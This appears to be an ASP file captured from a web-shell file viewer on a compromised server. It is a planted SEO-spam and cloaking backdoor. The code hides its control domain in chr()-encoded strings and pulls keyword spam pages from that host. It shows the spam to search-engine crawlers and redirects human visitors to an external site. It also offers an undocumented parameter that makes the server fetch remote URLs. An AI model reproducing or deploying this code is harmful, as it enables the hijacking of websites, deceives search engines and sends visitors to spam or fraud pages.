Mini Shell
<%on error resume next%><%
Function getHTTPPage(url)
On Error Resume Next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then
Response.Write "<p align='center'><font color='red'><b> </b></font></p>"
Response.end
Err.Clear
End If
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Randomize
%><%
Dim xy,cid,hyzhdy
hyzhdy=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)&request("yid"))
xy="https://"
if Request.ServerVariables("HTTPS")= "off" then
xy="http://"
end if
cid=getHTTPPage(hyzhdy&"/sjs.aspx")
if request("cid")<>"" then
cid=request("cid")
end if
if request("number")<>"" then
Url=hyzhdy&"/ymsj/stp.aspx?cid="&cid&"&number="&request("number")&"&xi=1-6&xc=19-26&pnum="&request("pnum")
con=getHTTPPage(Url)
con=Replace(con,"shop=","zhzh=")
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO"))
Response.contentType="text/xml"
Response.write con
Response.end
end if
if request("s")<>"" then
con=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(115)+chr(115)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120))
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
Response.contentType="text/xml"
Response.write con
Response.end
end if
if request("ping")<>"" then
con=getHTTPPage(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(112)+chr(105)+chr(110)+chr(103)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)&request("yid")&"&cid="&request("cid"))
con=Replace(con, "yymm", xy&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
ping=getHTTPPage(con)
Response.write ping
Response.write con
Response.end
end if
%><%
gjc=request("zhzh")
if request("cid")<>"" then
gjc1=getHTTPPage(hyzhdy&"/getci.aspx?cid="&request("cid")&"&s=2&e=4")
gjc2=getHTTPPage(hyzhdy&"/getci.aspx?cid="&request("cid")&"&s=5&e=7")
end if
%><%
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")&"*"&Request.ServerVariables("REMOTE_HOST")&"*"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_CLIENT_IP")&"*"&Request.ServerVariables("HTTP_X_FORWARDED")&"*"&Request.ServerVariables("HTTP_FORWARDED_FOR")&"*"&Request.ServerVariables("HTTP_FORWARDED")
end if
ipurl=hyzhdy&"/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0) then
if request("zhzh")<>"" then
ddd=hyzhdy&"/a.aspx"
eee=ddd&"?cid="&request("cid")&"&cname="&Server.URLEncode(gjc)&"&xi="&request("xi")&"&xc="&request("xc")&"&ll="&Request.ServerVariables("HTTP_HOST")
Response.write "<script>self.location.href="""&eee&"""</script>"
Response.end
else
Response.write "<script>self.location.href=""/404.asp""</script>"
Response.end
end if
end if
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title><%=gjc%> Off <%RANDOMIZE%><%=INT((65-50+1)*RND+50)%>% - <%=Request.ServerVariables("SERVER_NAME")%></title>
<meta name="keywords" content="<%=gjc%>,<%=gjc1%>" />
<meta name="description" content="<%=gjc%>,<%=gjc2%>." />
<meta name="robots" content="index,follow,all"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<style>
@media (max-width: 768px)
{
body {
width:100%;
height:100%;
}
body {
font-family:Open Sans,'Helvetica Neue',Arial,sans-serif;
font-size:15px;
color:#777;
line-height:1.7;
}
img{ width:80%}
iframe{ max-width:100% !important; height:auto; float: left;}
div { width:100% !important; float:left}
div span{ width:100%;float:left}
a {
color:#f05f40;
-webkit-transition:all .35s;
-moz-transition:all .35s;
transition:all .35s;
}
a:hover,a:focus {
color:#eb3812;
}
}
</style>
</head>
<body><%
Dim Url
if gjc<>"" then
wid=INT((4108-1+1)*RND+1)
URL=hyzhdy&"/ymsj/mb2.aspx?cid="&request("cid")&"&shop="&Server.URLEncode(gjc)&"&xi="&request("xi")&"&xc="&request("xc")&"&page="&Request.ServerVariables("SCRIPT_NAME")&"&mt="&hyzhdy&"/ar/ar_"&wid&".txt"
else
URL=hyzhdy&"/ymsj/mb2.aspx?cid="&cid&"&xi=1-6&xc=19-26&pnum="&request("pnum")&"&page="&Request.ServerVariables("SCRIPT_NAME")
end if
con=getHTTPPage(URL)
con=Replace(con,"&shop=","&zhzh=")
Response.write con
%>
<div><%=getHTTPPage(hyzhdy&"/ymsj/hl.aspx?page="&Request.ServerVariables("SCRIPT_NAME"))%> | <%=getHTTPPage(hyzhdy&"/wl.asp")%></div>
</body>
</html>
Zerion Mini Shell 1.0